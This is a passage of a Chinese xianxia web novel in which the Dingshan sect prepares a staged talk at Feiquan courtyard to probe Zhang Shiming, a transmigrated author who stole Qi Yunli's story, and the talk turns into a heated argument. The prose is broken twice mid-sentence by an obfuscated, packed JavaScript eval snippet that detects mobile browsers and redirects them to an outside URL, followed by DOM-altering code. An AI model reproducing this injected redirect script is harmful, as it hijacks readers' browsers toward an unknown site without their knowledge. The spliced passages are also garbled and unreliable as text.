她感觉跟龙息脱不开关系,就问:“红梅、白玉兰和这两个都是你种的?” 冬青没其他事做,只有一心栽花种草。 “我又没法打架。”她颇有怨言,那才是最擅长的。 对龙息来说,花开不败实在小事一桩。 于是齐云鲤又问:“那个樱桃花怎么只有插花,还不种吗?” “太远了,先适应一下这边的环境。” 之前齐云鲤感觉龙息无所不能,但冬青这句话又很含蓄。 “龙息不是能调理环境吗?”她问出一个猜测。 冬青抓完月季上的虫子才说:“变化太大也不容易,还是尽量缩小吧。” 除虫就是除害,本质上跟打架有异曲同工之妙。 她不能出去打架,抓虫子也算打发时间。 这么说起来就是龙息也有适应范围,如此一来那么乱象也该有极限。 “龙息乱起来能乱到什么程度?”齐云鲤问。 冬青无所谓地说:“垂死挣扎之后毁天灭地。” ——天地毁灭是极其严重的事。 “这就是张师铭想要的,绝不能让他得逞。”齐云鲤赶紧强调。 “那人一天到晚稀奇古怪,为了让他不察觉异常,我也表现得稀奇古怪。” 齐云鲤很好奇:“你还跟他有所接触?” “他说这是樱花,还说怎么会有果子,死了再种就行。”冬青不满地指着花瓶里的樱桃花,她觉得是对方故意找茬。 樱桃花和樱花截然不同,将二者混为一谈自然不是好事。 就仿佛是偷梁换柱、鸠占鹊巢。 很多人能趁机获利,所以大肆宣传。 齐云鲤想起来就说:“他说的是另一种东西,只开花不结果还早死。” “他不就是咒我早死?”冬青有点气。 “他如果祝你像樱花一样绚烂,就是希望你早日横尸街头。” “他坟头长草我也不会死。”冬青气呼呼地说。 齐云鲤没有纠结于此,只是发现张师铭的思维似乎跟自己截然不同。 他盗用自己的构思,以为可以风光无限,结果写到鼎山灭门实在写不下去。 穿书过来以为能扭转乾坤,却出现一群跟他对抗的人。 很多事都顺风顺水,但关键时刻却又让他猝不及防。 张师铭呆在这里三年,必然做好充分准备。 ——不过鼎山也有准备。 既然龙息是灾也是力,那就看是谁的灾、谁的力。 之前跟他谈话被孙仲礼打断,或许还能再来一次。 他想报答鼎山掌门救命之恩,齐云鲤也想报答他的救命之恩。 80. 课前准备 张师铭盗取齐云鲤构思写下故事广受好评,瞬间又回到风光无限的时候。 但与此同时,他知道故事不是自己的。 写着写着他就仿佛是在跟故事对抗,故事要往左,他就要往右。 两边闹得不可开交,所以他让鼎山灭门就开始断更。 他没想到原作者竟然也来到这个世界,即使世人都看不出问题,但是苦命人又怎么会不知道其中关键。 就像樱花和樱桃花长得再像,也不是一个东西。 张师铭的思路始终与这个天地冲突。 万事万物皆有两面,张师铭只能看到其中一面。 但事情或许会往另一面发展。 既然龙息是灾也是力,那么他到手的龙息究竟是灾还是力? 齐云鲤发现这个问题,既然有龙息之力,那就也有龙息之灾。 张师铭想大显神通,她却想让他受灾。 齐云鲤有点奇怪:“他跟你说了什么?” “意图很明显,反正他高深莫测,我无理取闹。”冬青十分嫌弃,每次都这样,张师铭还兴趣盎然。 似乎只有这种对比,他才能获得满足。 这就凸显出齐云鲤曾经的天真,她见对方有难就出手帮忙,谁知那人直接将自己当作垫脚石。 不过曾经助他上高楼,现在就要他坠入万丈深渊,就像龙息是灾也是力。 她皱起眉头说:“就是用你来显示他很有能耐。” 张师铭早已习惯站在众人头顶,因此需要维持这种状态。 虽然维持这种状态会给他人造成灾难,但他完全不放在心上。 只有自己高高在上才重要。 “还需要这样来显示?”冬青指向明确,“估计他都不如村里黄狗。” 黄狗虽然只会汪汪叫,但忠心护主,也许那人都望尘莫及。 毕竟从始至终眼里只有自己,其他人的死活对他来说都无关紧要。 两人虽然各想各的,但最终指向同一处。 说起黄狗齐云鲤就想起孙峥湖,狐狸也算黄色,也能是个理由,于是她问起这件事。有狐狸打掩护,能干很多事。 “我已经当着他的面打过很多次,”冬青有点无奈,“虽然下手轻,但狐狸哭个不停。” 说到这里,就知道狐狸不能再用。 齐云鲤觉得总该找个趁手的东西,自己跟张师铭说两句就能打起来。 总不至于找来找去一个能打的都没有,如果没其他对象,那就只剩自己。 “鼎山最耐打的就是青湖,”冬青见她一脸迷惑便说,“也就是你。” 能打的正是挨打对象,只能说时也命也。 齐云鲤一时无法理解,为对付张师铭找了一圈,结果最后找到自己。不过想到自己被青滔打来打去也没事,只好接受。 只能说之前的严刑拷打总算没有白费,没有一顿打是白挨的。 无论龙息是灾还是力,她都能挡住张师铭的攻击。 鼎山没有谁比她更耐打,或许最后就是比谁的命更硬。 挨打对象确定,还得计划一下出手方式。 于是齐云鲤问:“你是怎么跟他说的?” “假装一无所知,又理直气壮。”冬青描述出一种飞扬跋扈的形象。 齐云鲤很是怀疑:“我也这样不太好吧?” “其实就是显得他很厉害。”冬青指导。 张师铭身为小说作者,自然想显得无所不知,无所不能。 ——这样才符合他的定位。 以这个为理由将他请来,然后打探底细。 其实就是先给好处,随后让他交出底牌。 齐云鲤觉得可行,但张师铭高深莫测不是装的,而是真有其事。 一旦动手,后果可能不堪设想。 “把三渺宗那个也叫来,他就会有所顾忌。”冬青传授经验,她就是靠着谭明诗才糊弄很久。 张师铭要维持自己在三渺宗的形象,打破形象对他不利,所以他会收敛。 因此三渺宗那个人就成为最后的压舱石。 齐云鲤感觉这个计划可行,于是就全盘托出。她以化龙的名义请张师铭过来,在言谈之中趁机打探情报。冬青说还得跟罗白音商量,她就转身去飞泉院。 飞泉院像往常一样平静,齐云鲤看到院子里的白玉兰就更加坚定。 玉兰花开在这里,那就是元真的地盘。 绝不能让张师铭来砸场子。 她走进室内跟罗白音简单说起那个计划,对方只是问:“这跟鼎山弟子化龙有什么关系?” 鼎山弟子化龙是鼎山大事,目前他们只是学过相关知识,并没有切身体会。因此还是要有所实践才好,不过实践要控制力度。 齐云鲤找张师铭谈话,还叫来谭明诗,就明显是一次摸底,这样才能确保之后的龙骨论战十拿九稳。 她想摸清对方的底细,对方也想打探鼎山的虚实,两边都有所求,也就是双方都需要提前摸底。 鼎山和三渺宗互相试探,然后做出最后调整。 “他们能否化龙,或许就跟这次谈话有关。化龙一事太过凶险,如果不能确保当前情况,很可能只是徒劳。”齐云鲤郑重说明。 鼎山弟子能化龙,可要是没弄清对方底细,最终可能对鼎山有害。 毕竟龙息是灾也是力,化龙也如出一辙。 龙只是一种形态,变成龙以后对谁有利,这就不绝对。 如果鼎山弟子化龙对鼎山有害,那就真的束手无策。 罗白音对计划没意见,只是说:“张师铭见过你化龙。” “所以他也能化龙。”齐云鲤指出。 罗白音说:“你们两个都化龙,就会大打出手。” “鼎山弟子得从中看出东西。”齐云鲤突出重点。 如今看来,单人化龙就平平无奇,只有一群人齐心协力化龙才有用。 那群化龙之人就是鼎山弟子,他们化龙或许能改变世间局面。 因此之前的一切都是为此准备。 “这次的龙骨论战其实是一次教学?”罗白音问。 齐云鲤只能希望:“争取达到那种效果。” “那么这次谈话算什么?” “课前准备。” 正式上课是在龙骨论战,那么在上课前还得有所准备。 争取有所成效,不然可能白上课。 罗白音有点怀疑:“你估计这次会发生什么?” “我们两个会打起来。”齐云鲤很肯定。 “拳打脚踢?” “估计只有斗法。” 化龙之人跟夺取龙息之人大打出手,再正常不过。 但对面不是善茬,即使齐云鲤再厉害,可能也不是对手。 “你能行吗?”罗白音相当怀疑。 毕竟张师铭的所作所为鼎山人尽皆知,但谁也没办法出手。 如今化龙之人归来,也只是胜算大了一点,仅此而已。 齐云鲤只能说:“应该不会死。” 她没垂头丧气,可也不是信心十足。 罗白音一看就感觉太过危险:“那我把在场人员安排一下,风险太大。” “他们不要直接参与。”齐云鲤点出关键。 罗白音说:“那就在周围布局,稳住局面。” 不直接参与,但是可以稳住局面。 “还得顺便观察一下张师铭的实力。”齐云鲤提出要求。 罗白音问:“你把实力引出来,他们趁机观察?” “差不多吧,别错过这个机会。” 说到最后就是双方互相试探,其他人则从中找出关键。 重点不在一决胜负,而在发现真相。 不求取胜,多少还能保命。 张师铭的实力远超所想,鼎山唯一能与之单挑的估计只有掌门。 但是如今掌门闭关修炼,谁也不知道发生什么。 既然掌门还没出来,那么他们就得想方设法稳住场子。 齐云鲤想起一件事:“对了,严岐说煅剑城已准备好龙骨剑。” “你怎么知道?”罗白音问。 齐云鲤老实交代:“之前修道人士上鼎山的时候她来说的。” 修道人士聚众上鼎山,煅剑城弟子也在其中。 鼎山和煅剑城是兄弟门派,可到底是由于什么紧密相连,没人知道。 不过罗白音就知道此事:“龙骨剑是给鼎山弟子化龙准备的。” 鼎山和煅剑城两边各有所长,那么化龙一事就分工合作。 “……那我呢?”齐云鲤很疑惑。 “你不是能化龙吗?”罗白音瞪了一眼,“别浪费龙骨剑。” “他们要龙骨剑干什么?” “龙骨剑算是龙的鳞甲,他们自身难以变出来,因此只能借助外力。” 鼎山让鼎山弟子学习相应知识准备化龙,煅剑城打造龙骨剑是要帮鼎山弟子化龙,之后齐云鲤跟张师铭交谈也能帮他们学习化龙。 她都感觉万事俱备只欠东风,这要是还不能化龙那就实在说不过去。 “张师铭下手可能比较重,能保我一命吗?”齐云鲤不指望自己。 罗白音说:“李宜敏带人在旁边守着,随时都能救人。” “她靠谱吗?”齐云鲤问。< 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她低下头,感觉没一件顺心的事。 罗白音不管她垂头丧气,直接问:“剑阵的事商量好了吗?” “又没跟我商量。”齐云鲤低声说。 “还没商量?”罗白音皱起眉头。 齐云鲤说:“跟另一个人商量了。” “什么人?” “一个天地造化孕育出来的人。” 这种说法太过匪夷所思,罗白音当然不会信:“骗谁呢?” “龙息还能有化身,怎么天地不能有?”齐云鲤不服。 罗白音当然知道事情没那么简单,不过她不想说,那就没必要斤斤计较,反正都稀奇古怪。 大千世界无奇不有,没想到全是奇。 “你去商量吧,我也要跟人商量。”她说出安排。 齐云鲤问:“剑阵的事还要跟你说吗?” “我又不去学。” 这个表态就是不关她的事,不用跟她说。 齐云鲤不免松口气,说剑阵的事不知道又要受什么刺激。 ——不用说当然最好。 “那到时候来飞泉院?” “难道还去玄镜池?”罗白音明显就是不再好好说话。 齐云鲤只能含蓄地说:“我们都做好准备吧……” “准备不足,吃亏的是你。” 罗白音的态度转变过于明显,齐云鲤也没办法。 不过现在能走就是福,她马上告辞,院子里的白玉兰仿佛在跟她挥手道别。 虽然在飞泉院有诸多不顺,但好歹没有性命之忧。 齐云鲤一路向下来到玄镜池,直接走到侧面那个房间外。 门是开着的,不过她很有礼貌地先敲门三下。 里面的卫池见到她并没欣喜,也没皱眉,只是问:“什么事?” “我准备跟张师铭详谈化龙的事,到时候会在飞泉院,我们肯定会打起来,”齐云鲤无奈开口,“你过去看看调整布局什么的,也算是救我一命。” 说得危机四伏,但什么也不清楚,卫池只好问:“总共有几个人?” “张师铭那边会来两个,鼎山这边能去多少去多少。” 鼎山能去的人起码不下十个。 卫池不免怀疑起来:“要这么多人?” “此事关乎鼎山弟子化龙,不可小觑。”齐云鲤赶紧强调。 人多不是去凑热闹,是分工合作,稳住局面。 此事关系重大,卫池只能说:“我之前跟他说了几句,他估计不会放过你。” 当时说起师父的救命之恩,张师铭就有了兴趣。 引起他兴趣的东西基本不会有好下场。 “反正我也不会放过他……”齐云鲤都有点了无牵挂。 卫池提醒:“三渺宗那个人会跟他配合。” “所以你们也要配合,我能不能保全性命,全看你们的。”齐云鲤说。 “我跟谁配合?” “李宜敏会带人守在旁边,随时准备抢救。其他的你自己看吧,如果有人选我就去告诉罗白音。”齐云鲤说出一大段话,似乎准备充分也不放心。 卫池虽然不确定,不过还有更重要的事:“鼎山弟子能学到什么?” “青湖是鼎山最耐打的,先试试张师铭的斤两。”齐云鲤说。 卫池问:“剑阵的事呢?” “这个由你处理,罗白音也管不着。” 81. 排兵布阵 剑阵乃鼎山青滔所创,虽然他说所有鼎山中人都能用,但以前除他以外,没有任何人用过。直到齐云鲤在白鹭坪挨打,才发挥出剑阵威力。 如今鼎山弟子能得到青滔亲自传授剑阵相关知识,自然事关重大。 青滔绝非等闲之辈,剑阵自然不同凡响。 卫池觉得这不是他一人能决定的,之前跟石月观音商量很久,也没有定下最终方案,只是有个粗略计划。 原以为之后再跟罗白音商量此事,才能完全确定。 结果剑阵的事完全交给他。 这实际就是将鼎山弟子的生死托付给他。 如果他有二心,那能造成惨重损失,鼎山灭门可能会出现全新形式。 现在将这个权力交给他,就是说卫池已经完全获得鼎山信任。 鼎山中人不是称呼,而是一种立场。 能称为鼎山中人的,当然与天地万物休戚与共。 不为名利,只为一路向前。 之前的近百个轮回里,他始终像个过客。 偶然从鼎山路过,没人看重,无关紧要,鼎山灭门似乎也与他无关。 然而现在他就是货真价实的鼎山中人,即使匆匆掠过也与鼎山息息相关。 罗白音估计觉得轻如鸿毛,但是对卫池来说这就是万斤重担来到他肩上。 旁人或许觉得太过压身,可卫池这才觉得自己还活着。 鼎山灭门,父母双亡,都是莫大灾难。 即使无能为力,他也要奋起反击。 辗转这么多轮回,总算有点成效。 说出这件事的齐云鲤并没发现异常,只是感觉卫池沉默太久,似乎不知怎么应对。青滔的问题很好解决,打她一顿就行。 “到时候一旦出现问题,随时叫我。”齐云鲤已经接受挨打的命运。 只要自己先挨打,其他人就不会被打。 但卫池并不理解:“叫你干什么?” 剑阵不需要她插手,只要鼎山弟子学以致用就行。 “他杀意过重,需要适当发泄。”齐云鲤解释。 她知道这件事有点稀奇古怪。 “怎么发泄?”卫池感觉很匪夷所思。 齐云鲤小声说:“……打我一顿。” 虽然她只是为平息青滔杀意,但这话在卫池听来就事关重大。 刚发现自己获得鼎山认可,转眼又发现自己获得师父认可。 虽然只是有名无实的师徒关系,但细究起来就源远流长。他独自轮回于天地间,没有任何人知道其中苦楚。 现在齐云鲤出面挡住青滔杀招,仿佛细水长流至今还没断绝。 卫池感慨万千,只能保证剑阵效果绝对惊世骇俗。 齐云鲤承认自己是挨打对象,不知道他在想什么,只能强调:“记得调整飞泉院布局,救命之恩没齿难忘。” 打人的要来,被打的总得做好准备。 曾经齐云鲤对卫池舍命相救,他还没报答这份恩情,她就先谢过他的救命之恩,似乎救人一命是随处可见的小事。 如今看来她的恩情再也无法全盘回报。 卫池只能点点头:“我先过去看一下。” “那我再去飞泉院一趟。”齐云鲤马上说。 飞泉院的罗白音不好惹,玄镜池的卫池也不好惹,还是别让他们单独遇见。力气还是留着对付张师铭,那才是祸害。 他们两人来到飞泉院,卫池礼貌见过罗白音,就去附近查探情况。 虽然过了近百个轮回,但他从未正式来到飞泉院。每次过来时都已遍地尸骸,除了没有气息的鼎山弟子什么也看不到。 如今走到这里,有种意想不到的平静。 飞泉院地势很高,不远处就是无边云海,再也没有阻拦,仿佛四面八方都畅通无阻。鼎山弟子曾在这里倒地不起,但如今却在做化龙准备。 再怎么暗无天日,似乎也有日升月落之时。 卫池转头看到角落里那棵玉兰树,树干上有一些痕迹,显然曾遭受创伤,其中包括人炉之火的烧灼。 他猛然回想起很久以前的一次鼎山灭门,那时自己发现有魂魄出现在飞泉院外,而远处天雷步步逼近。 天雷劈中其中一个魂魄,卫池便掏出人炉之火来抵挡天雷余威。 虽然天雷余威被吸引过来击中他右手,但剩下那个魂魄就逃过杀生之祸。 眼下看见玉兰树,他才想起当时飞泉院里也有一棵树。 如果这是那时的树,那么齐云鲤是不是那时的魂魄? 他转头看向室内,她一脸无奈地站着,罗白音则气势汹汹地坐着。 她们似乎是在商量什么,罗白音确定计划,齐云鲤则开口劝说。 罗白音虽然坐在轮椅上,但鼎山没人敢冒犯她。如果有人不知死活,她会让你知道其实坐着还算高,起码比倒地不起高。 然而能让人跪地求饶的罗白音此时只是坐在那里生气,齐云鲤似乎在焦头烂额地解释,不过没有受到任何攻击。 这是相当稀有的景象,在此之前鼎山似乎只有孙峥湖敢靠近她。 而现在齐云鲤竟然在跟她谈话,虽然不是心平气和。 卫池发现蹊跷,而罗白音正经历蹊跷。 ——自己在飞泉院的安排齐云鲤居然不满意。 不满意就算了,还来劝说她调整。 之前从没有谁敢干这种事,不过这个魂魄之前打面具人,后来就化龙。再后来还去了九炼洞窟,似乎就没有她不敢的。 看在她胆大包天的份上,罗白音就耐着性子听完解释。 罗白音的计划整体来说没有问题,但她只是从打架角度来安排。 可重点不是你死我活的打斗,而是其他人从中看出什么。 一心打架就没精力关注那些,还有更重要的事。 “他们主要是防止我惨遭毒手,中途暴毙,”齐云鲤无可奈何地说,“不用想办法对付张师铭。” “打架的事我负责,他们主要是看。” 她重点强调,打架有自己就行,其他人没必要操心。 罗白音相当疑惑:“你被打,他们怎么有精力去看?” 鼎山弟子自始至终都在学打架,现在要他们别打,就是在强人所难。 “我又不是单纯挨打,当然会还手。”齐云鲤解释。 罗白音很怀疑:“你又打不过?” “打不过就打不过,好歹也在打着,不用在意输赢胜负。” 齐云鲤的态度相当稀奇,世人在打斗时往往要一争高下。 青滔不在意输赢,只看重打斗。 她则连打斗也不在乎,只要事情稳妥,其他都随意。 不过这就跟鼎山弟子学的东西截然不同,他们只要能出手就一定会出手。 齐云鲤的话里完全没有那种事。 “你是要他们坐视不管?”罗白音有点不满。 齐云鲤赶紧解释:“没有不管,保命全靠他们,打架就不用了。” “对他们来说就是坐视不管。”罗白音强调。 齐云鲤也强调:“鼎山弟子化龙其实是要救命,不是要打架。” “不打架那怎么行?”罗白音急得都想站起来。 虽然都是斗,不过斗的形式各有不同。 赤手空拳的叫武斗,动口不动手的叫文斗,还有一种错综复杂的叫争斗。 前两种鼎山弟子都已熟悉,但是第三种还比较陌生。 叫张师铭过来,当然得选第三种。 “其实打架简单,救命才难,要救天下人的命自然难于上青天。”齐云鲤对比二者差距。 罗白音很不可思议:“怎么还有这种事?” 如果有人要将世间毁于一旦,那么当然是要对抗。 “打架时间很短,救命时间很长。坚持一段时间不算难,持续很长时间才是真的难。”齐云鲤只能进一步对比。 罗白音有点不服:“救命时间也可以很短。” “那就是无力回天,人已经死了。”齐云鲤皱起眉头。 虽然的确如此,但对比之下另一边就显得无足轻重。 “你的意思是李宜敏比我厉害?”罗白音明显不满。 齐云鲤只好说:“我的意思是她只能治小病,而你能治大灾。” “大灾要怎么治?”罗白音完全想不通,在她看来只有小打大打的区别。 不过小打大打的区别并不只有规模。 一旦变大就要讲究策略和计谋,虽然单打独斗也有这些事,不过变大之后才明显。 太过微小,很多人都会忽略不计。 “大灾就是大问题,问题很大,所以出手之人必须多。他们彼此配合,才能共度难关。”齐云鲤说得任务艰巨。 “这次是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318444|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么难关?” “保证我不死,还得看清发生什么,”齐云鲤强调,“这时候看清,之后才能击中要害。” 她突出事情轻重,虽然这次很关键,但之后的龙骨论战才重要。 可能那时就是打仗,不是打架。 齐云鲤又说:“张师铭深不可测,我是去打探水深,他们就是看要准备多大的船。打架是小事,开船才是大事。” “打架哪里算小事?”罗白音问。 “你也可以打架啊?” 连她都可以参与,当然小事一桩。 罗白音坐在轮椅上,这句话相当冒犯。 虽然她没有瘫痪,但需要以此代步,可见很虚弱。要她打架就类似让卧病在床之人下床活动,仿佛是在取笑她行动不便。 齐云鲤意识到说错话,就赶紧解释。 不过罗白音没有发火也没有恼怒,而是说:“你说得对。” 可齐云鲤完全不知道对什么,只能很匪夷所思。 “既然我可以打,那就不用要求他们。” 罗白音彻底转变态度,开始根据齐云鲤的话做出调整。原本那些人都被安排打架,现在就只是稳住局面。 之前说不通的事瞬间条理清晰,各有所长便各司其职。 等卫池走进来说他已经弄清怎么布局时,罗白音已将其他事情安排妥当。 齐云鲤不知道这态度转变从何而来,不过没有吵起来就是万幸。 卫池交代布局情况,罗白音则说出计划,两人针对全局再进行相应调整。 一时间齐云鲤都感觉无事一身轻。 之后便有相关人员来飞泉院熟悉环境,都是经验丰富的鼎山弟子,例如宋安合、李宜敏。 他们之前从未仔细看过飞泉院布局,这次专门过来熟悉环境,不由感慨万千。 李宜敏说她守在外面,还得确保能顺利进屋,以免错失良机。 宋安合说到时候所有鼎山弟子的站位都有要求,不然难以维持阵型。 鼎山弟子来到飞泉院,重点不在动武,而是打探情报。 要打探情报就得布阵,然后青湖师叔从张师铭嘴里套出情报。无论其他还有什么事,都得先保障这两件事顺利进行。 众人听得清楚,才能明白当前局面。 宋安合跟李宜敏又针对细节讨论很久,罗白音只是说孙峥湖跟卫池一路,其他就不管了。 于是他们两人讨论出结果,然后又叫相关人士来飞泉院演练。 就跟去晨练之地一样,鼎山弟子先熟悉过程,到时候才好大显身手。 他们准备两天,这才确保没有大问题。 虽然明面上是谈话,但实际要多凶险有多凶险。 相比之下动武只是相当粗浅的事。 一切准备就绪,罗白音才请张师铭和谭明诗到飞泉院来。 房间里等着齐云鲤,旁边还有冬青,隔壁有孙峥湖和卫池,后门守着李宜敏和陆顷己,左侧还有两个鼎山弟子随时准备冲出去救人。 宋安合带着两个人站在远处,控制飞泉院整体局面。 所有鼎山中人都事先服下保命丹药,不怕一万就怕万一,谁知道会发生什么。 张师铭当然不会傻到以为鼎山中人毫无防备,不过防得再多也是徒劳。 他都能毁天灭地,难道还对付不了几个平平无奇的修道人士? 罗白音请他过去商谈化龙一事,那他就要趁机打击鼎山的化龙势头。 至于谭明诗只不过是过去参观的三渺宗人。 此时一看比得过日后排兵布阵,毕竟知彼知己,百战不殆。 张师铭信心百倍,直到齐云鲤坐在那里说:“化龙一事太过玄妙,即使亲身经历,我也搞不清楚。不知阁下怎么明白其中道理?” 他赶紧劝自己对方是穿书者,说话稀奇古怪也合情合理。 然后长叹一口气,才开始说:“此事说来话长,真龙销声匿迹太久,世人想出种种办法来找寻真龙迹象,其实我就是其中之一。” “时间太长,难道阁下……”齐云鲤问得很懵懂无知。 张师铭又叹一口气:“其实我是跟秋容女仙同时代的人……” 修道人士寿命长于普通人,这话就很正常。 不过齐云鲤知道背后真相,这句话就纯粹放屁。 跟秋容女仙同时代的人都在九炼洞窟! 82. 明枪暗箭 鼎山大殿在半山腰,这是外人能到达的最高点。 张师铭在鼎山呆三年,也只能以探望冬青的名义走到飞泉院旁边。 即使禁地地势最高,但飞泉院才是高不可攀。 那是鼎山关键枢纽,要多机密有多机密,外人休想接近。 因此接到去飞泉院的邀请,张师铭相当惊喜。 他知道飞泉院至关重要,不过小说里很少提及,只是最后的鼎山灭门在那里落下帷幕。但究竟有什么秘密,他也不清楚。 在鼎山三年被青滔挡住去禁地的路,又被冬青以各种理由打断计划,张师铭的耐心已经耗尽。如今总算能进入飞泉院,还让他带上谭明诗。 虽然鼎山不可捉摸,但他也不好拿捏。 罗白音请他去飞泉院必定别有用意,不过结果如何还没定论。 而谭明诗跟他进入飞泉院,什么也不用做。只需要把一切看在眼里,记在心里。日后攻上鼎山,这就是最好保障。 谁都准备充分,谁都不可小觑,飞泉院里发生的既是谈话,也是较量。 张师铭原本觉得没问题,但坐在屋里的是齐云鲤,她也是穿书者。 ——这个问题就大了。 之前在玄镜池两人就快打起来,这次绝对不会手软。 写小说时就有一群人在胡说八道,为了不让他们猜到剧情发展,张师铭绞尽脑汁。那个穿书者以青湖的身份跟自己打了一路,他实在忍无可忍。 之前化龙,之后坐镇飞泉院,是可忍熟不可忍。 管她是谁,打了再说。 平平无奇的见面,由于谈话对象异于常人,所以一开始就注定不会太平。 孙仲礼一无所知,齐云鲤知道的就多了,何况背后还有石月观音。 之前在玄镜池被劝架,可是如今有一群人能帮她。 打不了面具人,她就不信还打不了小说作者。 屋内双方态度都很好,不过没有人彻底放心。 罗白音跟张师铭简单说明情况,之前由于真龙销声匿迹,世间万物就逐渐衰败并走向死亡。目前鼎山中人成功化龙,就证明真龙还存活于世。 看来得细究一下背后的道理,以真龙飞天之势带领众生走回生路。 不过化龙只是开始,接下来的路肯定相当漫长。事关重大,因此得跟张师铭和谭明诗细说。 罗白音交代好基本情况,就以身体不适为由退出房间。 冬青则以青湖身体状况不稳为由,需要人随时注意,留在屋内。 因此房间里就是齐云鲤跟冬青的阵营,以及张师铭跟谭明诗的阵营。 隔壁原本就有卫池和孙峥湖,现在罗白音也呆在那边。 四周全是鼎山弟子,将张师铭团团包围,但是他捏着鼎山掌门那张牌,完全没必要怕。 张师铭信心十足地坐在那里,直到齐云鲤问出匪夷所思的问题——他怎么会明白化龙的相关所在。 当然因为他是作者,无所不知、无所不晓,差不多通晓万物。 只是这种话绝不能说出口,因此他编起来。 “其实我是跟秋容女仙同时代的人……”张师铭自以为天衣无缝。 即使这个青湖知道得再多,他也能瞒过其他人。 齐云鲤当然知道不能说破此事,虽然九炼洞窟那些人还生龙活虎,但她也不能说出口。毕竟言多必失。 不过对方要编她也能编下去,反正套出情报就行,真真假假没人在乎。 “秋容女仙根本不可理喻,菩提慧海也差不多,幸亏还有太渊真人。”齐云鲤感慨万千,把能说的人都说了一遍。 她将三个人对比,仿佛是要突出鼎山掌门的伟大。 不过一旁的冬青就是被太渊真人抓出来化形,始终不得安宁,因此心情复杂。 虽然知道是胡说八道,但准确敲在她七寸上。 而且她还没算账,那人就闭关躲起来。 冬青这个不能做,那个又做不了,只好养花种草。 虽然她有诸多抱怨,不过鼎山掌门帮了张师铭很大的忙。 如果没有太渊真人,那他就不可能获得穿书者之力。 张师铭低头感叹:“鼎山掌门的救命之恩,在下此生都无以为报。” 至于是如何救命,这个就没必要透露。 “他现在虚弱到只能闭关修炼,那我们就得抓紧时间填补天地间的漏洞。”齐云鲤打开话题。 张师铭有点惊讶:“……你说的是漏洞?” “不是人,是漏洞。”齐云鲤强调。 之前双方为此争得不相上下,就快打起来。眼下这么一说,就是齐云鲤主动退让。穿书者不再力争上游,作者才好动手。 张师铭虽然高兴,但不能明显表露,只是一声长叹:“其实问题从始至终都没解决。” 他的话说了跟没说一样,如果问题已经解决那就没必要再穿书。 不过更严重的是他这种态度,似乎谁也没有办法。 真龙飞天就出现希望,这么一说就把仅存的光给扑灭。 齐云鲤有点不服:“我能成功化龙应该就说明不是只能原地等死吧?” 事实确实如此,不过—— “化龙不是儿戏,总不至于让一群人同时化龙,那就是群龙无首。”张师铭摇头感慨,仿佛说出什么道理。 但那个道理齐云鲤不同意:“群龙无首不是天下大吉吗?” 一群人化龙的当然是鼎山弟子。 因此他们就会群龙无首。 两人都说到这个词,但二者截然不同。 前者说的是群体没有领导者而难以统一行动,后者说的是乾卦卦辞:“用九,见群龙无首,吉。” 群龙各尽其用,而不争为首,自然能解决一切问题。 在化龙一事上,自然也有这两个意思。 有人领导和没人领导,未必有张师铭嘴里的结局。 修道人士花费数百年都没能化龙,就是在三渺宗领导下。 鼎山青湖成功化龙,的确没有遵照三渺宗指示。 张师铭认为鼎山弟子化龙会天下大乱,虽然如今有鼎山中人化龙,但下一个化龙之人只能是他。之后的化龙光辉只能照在他身上。 没人领导,那些资质平平的鼎山弟子学得再多也一事无成。 齐云鲤觉得鼎山弟子化龙才能救万民于水火,她能化龙那么鼎山弟子也能化龙。世人花费数百年也没能成功,或许他们能挑起这个重担。 如果还听三渺宗的,那是有什么想不开。 本来双方都想套情报,但这个冲突一出现就谁也不管了。 前后都是群龙无首,可截然相反的意思就是他们对鼎山弟子化龙的态度。 张师铭虽然没有深入了解,不过他觉得鼎山弟子化龙只会添乱。 齐云鲤出生入死,要是鼎山弟子不能化龙那她就全都白费。 仿佛是在赌桌上压大压小,选择不同,结局不同,态度也不同。 这已经不是谁对谁错的问题,而是一把□□,必定有人输。 “如果他们不能化龙,难道还有人能化龙?”齐云鲤质疑。 张师铭低声长叹:“化龙一事过于玄妙,也许只有我出场。” “你只会事后打扫战场,又不会冲锋陷阵。”齐云鲤说出对比。 张师铭顺势说:“前后是一体的,只会其一,冲的再凶也是一败涂地。” 这些话似乎谁都有理有据,可谁也说服不了对方。 一个看重鼎山弟子,一个看重小说作者。 二者出发点不一样,落脚点自然也不同。 “那也不能说明你就能冲。”齐云鲤咬紧牙关。 张师铭则完全无所谓:“但或许能证明他们会死。” “你就是在咒他们死!” “我是劝你不要将他们推入深坑。” 原本都是很寻常的话,但张师铭此言就是将鼎山弟子视为蝼蚁。 漏洞和人的问题可以暂时揭过,但是对他们不屑一顾就是觉得元真大错特错。 曾经齐云鲤跟元真吵架,只是观点不同,但立场一致。 张师铭的话却说明立场就有冲突。 “你就算垫在坑里,他们也不会过去!”齐云鲤大喝一声。 张师铭指出:“如果把我弄进坑里,你才是祸害。” “说不定太渊真人就是被你所害!”齐云鲤忍无可忍。 张师铭看她气起来,反而不慌不忙:“你应该先怀疑自己太过游手好闲。” “就是因为你太过游手好闲,我三年才回来!” 虽然只是猜测,但化龙之人三年才回到鼎山确实跟张师铭有关。 本来都想套取对方情报,但这话一出口就谁也不管了。 情报事小,吵架事大。 不好动手,就不信还不能把对面气死。 他们吵架都是据理力争,能说的全都说一遍,上到无根海,下到路边水沟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322759|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 